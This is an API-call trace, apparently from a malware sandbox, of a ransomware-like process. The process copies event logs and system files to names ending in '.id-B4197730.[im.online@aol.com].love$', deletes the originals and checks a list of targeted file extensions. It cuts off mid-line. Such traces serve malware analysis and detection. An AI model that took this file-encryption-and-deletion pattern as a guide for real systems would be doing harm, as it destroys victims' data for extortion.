1 [0227.651] ReadFile (in: hFile=0x458, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.651] WriteFile (in: hFile=0x42c, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x146, lpOverlapped=0x0) returned 1 [0227.651] SetEndOfFile (hFile=0x42c) returned 1 [0227.652] CloseHandle (hObject=0x42c) returned 1 [0227.669] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.669] SetEndOfFile (hFile=0x458) returned 1 [0227.671] CloseHandle (hObject=0x458) returned 1 [0227.671] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0227.672] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 1 [0227.672] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0227.672] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0227.672] lstrlenW (lpString=".doc") returned 4 [0227.672] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0227.672] lstrlenW (lpString=".docx") returned 5 [0227.672] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0227.672] lstrlenW (lpString=".pdf") returned 4 [0227.672] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0227.672] lstrlenW (lpString=".xls") returned 4 [0227.672] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0227.672] lstrlenW (lpString=".xlsx") returned 5 [0227.673] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0227.673] lstrlenW (lpString=".ppt") returned 4 [0227.673] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0227.673] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0227.673] lstrlenW (lpString=".zip") returned 4 [0227.673] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0227.673] lstrlenW (lpString=".rar") returned 4 [0227.673] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0227.673] lstrlenW (lpString=".bz2") returned 4 [0227.673] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0227.673] lstrlenW (lpString=".7z") returned 3 [0227.673] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0227.673] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0227.673] lstrlenW (lpString=".dbf") returned 4 [0227.673] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0227.673] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0227.673] lstrlenW (lpString=".1cd") returned 4 [0227.673] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0227.673] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0227.673] lstrlenW (lpString=".jpg") returned 4 [0227.673] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0227.673] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0227.673] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0227.673] lstrlenW (lpString=".doc") returned 4 [0227.673] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0227.674] lstrlenW (lpString=".docx") returned 5 [0227.674] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0227.674] lstrlenW (lpString=".pdf") returned 4 [0227.674] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0227.674] lstrlenW (lpString=".xls") returned 4 [0227.674] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0227.674] lstrlenW (lpString=".xlsx") returned 5 [0227.674] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0227.674] lstrlenW (lpString=".ppt") returned 4 [0227.674] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0227.674] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0227.674] lstrlenW (lpString=".zip") returned 4 [0227.674] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0227.674] lstrlenW (lpString=".rar") returned 4 [0227.674] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0227.674] lstrlenW (lpString=".bz2") returned 4 [0227.674] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0227.674] lstrlenW (lpString=".7z") returned 3 [0227.674] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0227.674] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0227.674] lstrlenW (lpString=".dbf") returned 4 [0227.674] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0227.674] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0227.674] lstrlenW (lpString=".1cd") returned 4 [0227.674] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0227.674] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0227.674] lstrlenW (lpString=".jpg") returned 4 [0227.674] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0227.675] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0227.675] lstrlenW (lpString="Security.evtx") returned 13 [0227.675] CreateFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0227.675] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=1118208) returned 1 [0227.675] CloseHandle (hObject=0x458) returned 1 [0227.675] GetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 0x20 [0228.016] GetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\security.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0228.017] CreateFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0228.017] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.017] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.017] CreateFileW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\security.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0228.340] GetLastError () returned 0x0 [0228.340] ReadFile (in: hFile=0x390, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0228.427] WriteFile (in: hFile=0x42c, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0228.673] ReadFile (in: hFile=0x390, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x11010, lpOverlapped=0x0) returned 1 [0228.690] WriteFile (in: hFile=0x42c, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x11020, lpOverlapped=0x0) returned 1 [0228.823] ReadFile (in: hFile=0x390, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0228.824] WriteFile (in: hFile=0x42c, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xee, lpOverlapped=0x0) returned 1 [0228.824] SetEndOfFile (hFile=0x42c) returned 1 [0228.828] CloseHandle (hObject=0x42c) returned 1 [0228.882] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.882] SetEndOfFile (hFile=0x390) returned 1 [0228.909] CloseHandle (hObject=0x390) returned 1 [0228.909] SetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0229.391] DeleteFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 1 [0229.511] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0229.511] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0229.511] lstrlenW (lpString=".doc") returned 4 [0229.511] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0229.511] lstrlenW (lpString=".docx") returned 5 [0229.511] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0229.511] lstrlenW (lpString=".pdf") returned 4 [0229.511] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0229.511] lstrlenW (lpString=".xls") returned 4 [0229.511] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0229.511] lstrlenW (lpString=".xlsx") returned 5 [0229.511] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0229.511] lstrlenW (lpString=".ppt") returned 4 [0229.511] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0229.511] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0229.511] lstrlenW (lpString=".zip") returned 4 [0229.511] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0229.511] lstrlenW (lpString=".rar") returned 4 [0229.512] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0229.512] lstrlenW (lpString=".bz2") returned 4 [0229.512] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0229.512] lstrlenW (lpString=".7z") returned 3 [0229.512] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0229.512] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0229.512] lstrlenW (lpString=".dbf") returned 4 [0229.512] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0229.512] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0229.512] lstrlenW (lpString=".1cd") returned 4 [0229.512] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0229.512] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0229.512] lstrlenW (lpString=".jpg") returned 4 [0229.512] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0229.512] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0229.512] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0229.512] lstrlenW (lpString=".doc") returned 4 [0229.512] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0229.512] lstrlenW (lpString=".docx") returned 5 [0229.512] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0229.512] lstrlenW (lpString=".pdf") returned 4 [0229.512] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0229.512] lstrlenW (lpString=".xls") returned 4 [0229.512] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0229.512] lstrlenW (lpString=".xlsx") returned 5 [0229.512] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0229.512] lstrlenW (lpString=".ppt") returned 4 [0229.512] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0229.512] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0229.512] lstrlenW (lpString=".zip") returned 4 [0229.513] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0229.513] lstrlenW (lpString=".rar") returned 4 [0229.513] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0229.513] lstrlenW (lpString=".bz2") returned 4 [0229.513] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0229.513] lstrlenW (lpString=".7z") returned 3 [0229.513] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0229.513] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0229.513] lstrlenW (lpString=".dbf") returned 4 [0229.513] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0229.513] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0229.513] lstrlenW (lpString=".1cd") returned 4 [0229.513] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0229.513] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0229.513] lstrlenW (lpString=".jpg") returned 4 [0229.513] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0229.513] lstrcmpiW (lpString1=".mui", lpString2=".love$") returned 1 [0229.513] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0229.513] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0229.514] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=10240) returned 1 [0229.514] CloseHandle (hObject=0x404) returned 1 [0229.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui")) returned 0x20 [0229.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.514] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui") returned 72 [0229.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui") returned 72 [0229.514] lstrlenW (lpString=".doc") returned 4 [0229.514] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0229.515] lstrlenW (lpString=".docx") returned 5 [0229.515] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0229.515] lstrlenW (lpString=".pdf") returned 4 [0229.515] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0229.515] lstrlenW (lpString=".xls") returned 4 [0229.515] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0229.515] lstrlenW (lpString=".xlsx") returned 5 [0229.515] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0229.515] lstrlenW (lpString=".ppt") returned 4 [0229.515] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0229.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui") returned 72 [0229.515] lstrlenW (lpString=".zip") returned 4 [0229.515] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0229.515] lstrlenW (lpString=".rar") returned 4 [0229.515] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0229.515] lstrlenW (lpString=".bz2") returned 4 [0229.515] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0229.515] lstrlenW (lpString=".7z") returned 3 [0229.515] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0229.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui") returned 72 [0229.515] lstrlenW (lpString=".dbf") returned 4 [0229.515] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0229.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui") returned 72 [0229.515] lstrlenW (lpString=".1cd") returned 4 [0229.515] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0229.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui") returned 72 [0229.515] lstrlenW (lpString=".jpg") returned 4 [0229.515] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0229.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui") returned 72 [0229.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui") returned 72 [0229.516] lstrlenW (lpString=".doc") returned 4 [0229.516] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0229.516] lstrlenW (lpString=".docx") returned 5 [0229.516] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0229.516] lstrlenW (lpString=".pdf") returned 4 [0229.516] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0229.516] lstrlenW (lpString=".xls") returned 4 [0229.516] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0229.516] lstrlenW (lpString=".xlsx") returned 5 [0229.516] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0229.516] lstrlenW (lpString=".ppt") returned 4 [0229.516] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0229.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui") returned 72 [0229.516] lstrlenW (lpString=".zip") returned 4 [0229.516] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0229.516] lstrlenW (lpString=".rar") returned 4 [0229.516] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0229.516] lstrlenW (lpString=".bz2") returned 4 [0229.516] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0229.516] lstrlenW (lpString=".7z") returned 3 [0229.516] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0229.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui") returned 72 [0229.516] lstrlenW (lpString=".dbf") returned 4 [0229.516] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0229.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui") returned 72 [0229.516] lstrlenW (lpString=".1cd") returned 4 [0229.516] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0229.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui") returned 72 [0229.516] lstrlenW (lpString=".jpg") returned 4 [0229.516] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0229.517] lstrcmpiW (lpString1=".mui", lpString2=".love$") returned 1 [0229.517] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0229.517] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0229.517] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=7168) returned 1 [0229.517] CloseHandle (hObject=0x404) returned 1 [0229.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui")) returned 0x20 [0229.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.518] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui") returned 72 [0229.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui") returned 72 [0229.518] lstrlenW (lpString=".doc") returned 4 [0229.518] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0229.518] lstrlenW (lpString=".docx") returned 5 [0229.518] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0229.518] lstrlenW (lpString=".pdf") returned 4 [0229.518] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0229.518] lstrlenW (lpString=".xls") returned 4 [0229.518] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0229.518] lstrlenW (lpString=".xlsx") returned 5 [0229.518] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0229.518] lstrlenW (lpString=".ppt") returned 4 [0229.518] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0229.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui") returned 72 [0229.518] lstrlenW (lpString=".zip") returned 4 [0229.518] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0229.518] lstrlenW (lpString=".rar") returned 4 [0229.518] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0229.518] lstrlenW (lpString=".bz2") returned 4 [0229.518] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0229.518] lstrlenW (lpString=".7z") returned 3 [0229.518] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0229.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui") returned 72 [0229.518] lstrlenW (lpString=".dbf") returned 4 [0229.518] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0229.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui") returned 72 [0229.519] lstrlenW (lpString=".1cd") returned 4 [0229.519] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0229.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui") returned 72 [0229.519] lstrlenW (lpString=".jpg") returned 4 [0229.519] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0229.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui") returned 72 [0229.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui") returned 72 [0229.519] lstrlenW (lpString=".doc") returned 4 [0229.519] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0229.519] lstrlenW (lpString=".docx") returned 5 [0229.519] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0229.519] lstrlenW (lpString=".pdf") returned 4 [0229.519] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0229.519] lstrlenW (lpString=".xls") returned 4 [0229.519] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0229.519] lstrlenW (lpString=".xlsx") returned 5 [0229.519] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0229.519] lstrlenW (lpString=".ppt") returned 4 [0229.519] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0229.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui") returned 72 [0229.519] lstrlenW (lpString=".zip") returned 4 [0229.519] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0229.519] lstrlenW (lpString=".rar") returned 4 [0229.519] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0229.519] lstrlenW (lpString=".bz2") returned 4 [0229.519] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0229.519] lstrlenW (lpString=".7z") returned 3 [0229.519] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0229.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui") returned 72 [0229.520] lstrlenW (lpString=".dbf") returned 4 [0229.520] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0229.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui") returned 72 [0229.520] lstrlenW (lpString=".1cd") returned 4 [0229.520] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0229.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui") returned 72 [0229.520] lstrlenW (lpString=".jpg") returned 4 [0229.520] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0229.520] lstrcmpiW (lpString1=".mui", lpString2=".love$") returned 1 [0229.520] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0229.520] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0229.521] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=7168) returned 1 [0229.521] CloseHandle (hObject=0x404) returned 1 [0229.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui")) returned 0x20 [0229.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft 